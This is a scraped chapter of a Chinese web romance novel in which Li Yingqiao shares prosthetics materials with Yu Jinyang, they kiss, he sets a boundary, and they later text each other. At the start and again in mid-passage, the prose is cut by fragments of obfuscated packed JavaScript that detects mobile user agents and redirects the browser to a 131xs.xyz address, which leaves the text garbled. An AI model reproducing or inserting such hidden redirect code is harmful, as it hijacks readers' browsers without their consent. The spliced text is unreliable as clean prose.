l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15876411|168418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 密码是你生日。” 俞津杨显然是没当真。电脑放在膝上,荧幕的冷光照在他腹部的薄薄白T上,隐约勾勒出腹部的线条,明显感觉他整个人绷直,撇头看她,手指在键盘上却迟迟没摁下去:“逗我很有意思?” 李映桥越发觉得逗他真有意思,她给了他一个鼓励的眼神:“你试试不就知道了。” 俞津杨才不会上她当,等他真试了,她一定会笑撅过去,然后说你还真试啊?他把电脑扔到一旁,冷声刚要说爱看不看。结果蓦然注意到笔记本的横排键盘上和他生日有关的那几个数字,已经被人摁到褪了色,显然是常用的数字键。 他鬼使神差地就把自己的生日输入进去了,“啪”,密码正确,跳转成功。 俞津杨忽然转头看她,眼神逐渐变得深邃起来。嗯?什么意思,李映桥? 李映桥的表情从“惊喜吧!你看我是如此地把你放在心上”的得意,而后变成掰着指头如数家珍地同他娓娓道来:“你知道现在信息盗号有多严重吗?如果你所有的密码都是一个的话,一旦其中有个密码被盗过之后,你所有的关联账号都不安全。尤其是支付密码,所以我银行卡密码是用我妈的,还有梁梅的、朱小亮的、妙嘉、方玥、高典的,我全都轮了一遍。这个月轮到你值班了。” “……” “你不说荣幸吗?” “真是荣幸极了。”俞津杨目光转回,看着电脑,懒得和她扯,从小他就玩不过她,“这什么。” “不认字?” 俞津杨慢慢往下划拉,眼神也从一开始的漫不经心,忽然变得严谨而认真起来,一页页往下滑。 李映桥收起笑,也不再逗他,尽管俞津杨认真看资料的样子,有点让她挪不开眼睛,他以前对学习也是这样专注,睫毛会在眼睑投下一片阴影。 从前,李映桥每次在梁梅家刷题刷累了,一转头,他眼下总是这样,凝着一片不动如山的阴影。她也蛮服他的,怎么能有人刷题都刷得那么心无旁骛。 李映桥正色说:“我之前在北京一家生物科技公司上班,就是国内假肢器械的供应商之一。我做过几家假肢公司的市场数据维护,我听高典提了一嘴,四一哥应该马上要装假肢了。这些东西对你们应该有帮助,但这些资料不能外发,你可以在我家看。” 说完,她从旁边的书里抽了一张名片出来递给他,“然后这是一家非常小众的器械品牌公司,早几年我帮他们在中国区做过推广,但因为费用太昂贵,很多人被费用劝退了。我做过很多市场回访,这家的用户满意度是最高的。 “不过目前只有一线城市还有医疗机构。我比对过,同价位的很多大厂康复团队没有他们精细,而且他们的接受腔舒适度最高。我觉得你们可以考虑一下。这家假肢器械品牌的副总,你也认识。” “谁?” 俞津杨说完才发现自己嗓子忽然紧得有些沙哑,好像一只冬眠的动物,忽然被一阵轻柔的风吹醒,还带着混沌的睡意,眼里却被直射进阳光,干涩地张不开嘴,心却先化开了。问完他就想到了,他俩共同认识的人,在北京本来就没几个:“是方玥?” 李映桥重重点头,喝了一口水:“bingo!玥玥才是最牛的!” “你俩都牛。”俞津杨说完,就靠在沙发上背半天没讲话。片刻后忽然侧过脸,那沉甸甸的目光好像暴雨后的香樟树,枝叶摩天地生长,根系却不断往更深处去。他看着她郑重其事说:“谢谢。” 李映桥微微倾身,毯子已经从她腿上滑下去,她任其掉落,径直去勾住他坚实的后颈,慢慢捧住他的脸:“不表示一下吗?” 他脸颊两侧温度不由自主地开始攀升,眼神被迫直视她的,直到两人呼吸纠缠在一起。李映桥的眼神从他的眼睛上一寸寸下滑,最终不容置喙地停在他的唇上。 他呼吸微微一滞,视线也有些不受控地落在她的唇上,她的嘴唇好像是湿的,俞津杨也才后知后觉地反应过来,她刚刚喝得是他的那瓶水。 和多年前那个只有一盏青柑桔色的路灯夜晚不同的是,他能清晰看到她的脸,能清晰看到她的眼睛。还有她眼神里湿漉漉的好奇以及竭力绷紧的镇定,都在他眼里纤毫毕现。在两人都不可遏制的心跳中,一寸寸甚至不那么游刃有余地刮过他。 49.第四十八章 …… 屋内静谧,窗帘紧闭,昏暗中有轻微的啄吻声,像蝴蝶几不可闻地轻颤,短促却又细细密密地响起。 起初李映桥先试探性地用唇碰了碰他的,眼睛也睁着。见他没反抗,这才放心闭上眼,细细地亲起来。每亲一下,她都要停一停,像在品尝一块曾经舔过一口却搁置很久的糖果,不确定还好不好吃。 亲着亲着,两人都“吭哧”笑了。 鼻尖抵着鼻尖,呼出的气息热得能烧炭,俞津杨感觉自己像一屉蒸笼,胸腔被蒸得发烫,热气直往脑门上涌去,他稍稍偏开头,哑声道:“等下,我要出汗了。” 李映桥却径自掰过他的脸来,再次不由分说地堵住他的嘴。这次亲得扎实,又急。舌尖甚至蛮横地伸进他嘴里,俞津杨被她猝不及防地压倒,唇上的力道急躁又凶狠。他不再负隅顽抗,终于伸手把人搂过来,让她趴在自己胸前,仰在沙发上手掌托着她的后脑勺,安抚性地慢慢同她接吻。 不知怎的,她真被安抚下来,也跟着他的节奏慢条斯理地回吻着。片刻后,屋内绵长的、一轻一重的喘息声渐渐又响起,这次的气息声更融洽,也缠绵。不再像狗咬狗似的,毫无章法地吭哧吭哧对着啃。 只是有人的手就开始不太安分,很快撩起他的T恤下摆要他脱掉。 俞津杨一边被她亲着,一边只能按住她的手,气息喘得厉害,语气依旧平稳地说不行。 李映桥停下来,不解地看着他:“俞津杨,都这样了。你还……” 俞津杨表情复杂地看着她,只好把话讲得更明白一点:“你想接吻可以,但其他的不行,我没有这种习惯,尤其在我们还只是普通朋友的前提下。我跟你上来,是因为刚刚在楼下,你的眼神告诉我,如果我不答应你,你以后再也不会来找我了,对吗?” 李映桥一时无言。刚刚在楼下,她确实有想过,如果这次他拒绝,那么她应该不会再主动联系他。伤残证明文件她打算明天闪送给他。 俞津杨太清楚她有多倔。去年底,他回国处理完家里的事情,赶在过年之前,他去了一趟G省的山区,给梁梅的学生们送去四十箱文具书包、运动器械和冬季的棉袄,满满当当装了两辆货车。但山道窄得差点掰掉货车的后视镜,他中途又找人帮忙倒了好几趟三轮车。 朱小亮带着七八个高年级的男生来村口接他,他俩都差点没认出对方来。等把东西全部搬进去,他站朱小亮跟前好半会儿,朱小亮才后知后觉地比划了一下两人之间的身高差,诧异道:“你是俞津杨?你现在都这么高了?那小糕点是不是快两米啦?” 反观朱小亮,除了瘦得颧骨高了点,个子感觉还缩了,整个人黑得像块风干的腊肠。 当时他们身后那片黄泥地,就是学生们上体育课的篮球场,两个篮球架都是朱小亮用后山的树桩子给削出来的,篮筐还是拿烧红的铁丝拧出来的。在确定要来时的电话里,朱小亮和他强调过无数遍这里条件非常有限,他肯定住不习惯的。让他没事就别来了,是俞津杨说他代表父亲过来送点捐赠的物资,朱小亮才没再拒绝。 只是俞津杨搬东西搬得脚还没酸,鼻子先酸了,扯出个好像生了锈的笑容:“朱老师,好久不见。” 朱小亮理了理他那全是毛边的毛线衣,也扯出个窘迫的笑容,甚至都不敢伸手拽他,给他指路说:“走,梁老师知道你要来,特意给你做了几个你喜欢吃的菜。” 梁梅的厨艺是李姝莉手把手教的。高三的时候,他们的学业压力越来越大,梁梅的厨艺却毫无长进,姝莉女士看着李映桥逐渐消瘦下去的小脸蛋,就拎着大锅小锅找上门来和梁梅说,你负责教书,我来负责给孩子们做饭。梁梅这才知道原来鲫鱼豆腐汤的鲫鱼煎黄后全部捣碎炖汤更营养。 梁梅模样倒是没怎么变,她一直都瘦伶伶的,头发仍旧梳得一丝不苟,只是性子变淡了。从前是个爆竹脾气,现如今看着倒是像支冷香,燃到一半,还剩半截。她不冷不热地和俞津杨聊了很多话,很多很多话,几乎每天都要拉着他说上好半天。 他在那边住了近一周的时间。朱小亮撺掇着他教孩子们打球,一直到走那天,等俞津杨和巴巴扯着他衣角不让走的孩子们一一告完别。梁梅才忽然扒住他的车窗问了句:“……李映桥现在怎么样?” 他也才知道,她和梁梅这么多年竟一面都没见过。 有了这么多的前车之鉴,他知道她有多倔。之前她说他们之间只适合做朋友,就真的很少再主动找他,冷了他很多天。 他知道这次再拒绝,她是绝对不可能再找他。所以他还是决定上来,但他的底线也在这。于是俞津杨很是知趣地站起来,把刚才两人接吻时掉落的毯子从地上捡起来,低头看她最后确认说:“还用继续聊下去吗?” 李映桥仰头定定看着他,没讲话。 刚才在楼下,她确实没想那么多,真只是想给他看看这份关于假肢的文件资料,对俞叔叔或许有帮助。可他刚才的表现让她很恼火,好像她找他就是想睡他,横竖就他是正人君子,她就成女恶霸了? 于是她就忍不住想气气他,反正他都这么想了,那也不如把罪名坐实了。但是他自己也没有躲,还回应得那么热情。那她顺水推舟又怎么了呢? 李映桥看着他随手把毯子搭在沙发扶手上。她刚洗完澡,没涂口红,只涂了厚厚一层唇膏。 他的嘴角也有,是亮汪汪的湿润,哪怕再端方板正的书生也有胭脂债。只是俞津杨面上越是冷静自持、克制,她心里反而越爽,但也有点不满地说:“行呗,就我是女色魔。我回屋面壁去,你自便。” 俞津杨立马侧身堵住她,眼睛静如深潭说:“……你明知道我不是这意思。” 李映桥讥诮道:“你表现出来的态度不就是这个意思,我感觉得到。” 俞津杨垂眼看着她,没讲话,最终败下阵来,然后他抬起胳膊来,用手掌捂住她的眼睛。干燥温热的掌心让李映桥下意识也闭上眼,刚要问干什么,只听他不紧不慢地问了几个问题。 “你们公司有几个工作人员。” 李映桥想了想,毫不犹豫地说:“二十三个。” “你们部门呢。” 她对答如流:“目前四个。算上马上要从庆宜回来的赵屏南,五个。” “我的芝加哥朋友叫什么名字。” “钟肃。” “刚刚楼下和我打球的那个是谁。” “孙泰禾。” 俞津杨感觉到她的睫毛在他掌心里微微颤动,难得一见的听话和耐心,他又问:“我今天头发什么颜色。” “黑色啊。” “那我今天穿什么颜色的裤子。” “灰色。”她几乎是不假思索。 手掌忽然撤离,他也没再问。李映桥随之睁开眼,看见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15885917|168418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 俞津杨正似笑非笑地低头盯着她瞧,她下意识自下而上各扫了一眼,没错啊。灰色的工装裤,黑色的…… 李映桥正要拍着胸脯说我是不是有一双鹰眼,蓦地,瞳孔逐渐放大:“咦。你剪头发了?怎么还染了。” 俞津杨单手揣在兜里,假装不悦地蹙眉,只是语气倒也坦然地抬了抬下巴说:“还有什么要狡辩吗?李映桥女士。提前声明,我可没别的意思,只是想让你认清事实。” 李映桥当然不服:“你染个栗棕色!谁会注意到。还是那家理发店啊?俞津杨,你真行啊。光吃堑不长智,这还有几根是纯黑的。不行,明天我给你维权去。” 说完,她在心里也啐了声。难怪刚刚在楼下觉得他最近怎么突然又帅了那么多,原来是去剪头发了,俞津杨果然还是比较适合这种干净利落的碎发,他这张脸本来就不需要多加修饰,越简单,衬得轮廓线条更锋利成熟,眉宇间多了几分少见的冷峭,更显女娲娘娘的鬼斧神工。不说别的,在皮相上,他是拿到了王牌。 俞津杨本来也只是开个玩笑,逗逗她。见她真要恼了,索性就更恼一点,反正他俩现在这关系已经恶劣得不能再恶劣:“但你就是没注意到,你注意力在哪,你自己知道。” 李映桥面壁去了。当然她还是不服,半小时后,给已经回到家俞津杨发去一条信息:“打个赌吧。明天如果有两个人跟你说,俞津杨你居然染头发了!两个,但凡有两个,我给你当牛做马,你以后可以随便使唤我!” 看她言之凿凿的劲儿,俞津杨刚洗完澡,头发还没吹,那干毛巾擦了擦,就靠在洗手池上气定神闲地给她回:“……给你个机会撤回,我当没看到。我从小在家的地位,你又不是不知道。” 那边没再回。又过了半小时后才姗姗来迟地回复。 「纯情屎壳郎蹦恰恰」:刚和娟儿打电话去了。怎么样,战绩如何,地位哥? 「321」:0.0 那边立马发来一个“斯密马赛”的吗喽表情包,嘲讽拉满。 俞津杨本来想问,你和吴娟已经这么好了吗?紧跟着,又一条微信紧锣密鼓地发进来: 纯情屎壳郎蹦恰恰:「明天六点你别忘了,我正好没应酬,期待你的晚餐。密码是0315」 李映桥发完这条本来也要去处理工作了,她手上还有一堆邮件要回和几个关于景区整改的策划方案要看。她应该立刻投入工作的,而且她平时也没有特意等人回消息的习惯,但她今天就是迟迟不肯放下手机,莫名地想等对面的人和她说完goodbye再去工作。 她确定自己今晚的肾上腺素还没下去,刚才的氛围确实足够好。她一向知道他温柔内敛,但没想到他接吻也是这样安抚性极强,竟也奇迹般抚平了李连丰带给她的焦虑和阴郁。 她不知道的是。 某人这会儿焦虑地要阴郁了—— “喂,你有没有那种特别谈得来的朋友……” “喂,钟肃,你有没有那种特别谈得来但是可能又有点越界的异性朋友……不是,不是李映桥,我跟她真不熟。我也不要你介绍!” 中途,俞津杨边打电话还边引擎搜索:「……性伴侣谈感情吗?」 “喂,泰禾,你睡着了吗,我睡不着。李什么映桥,我就是睡不着。” “喂,你有没有那种朋友……高典啊。算了,我打错了,玩儿去吧。”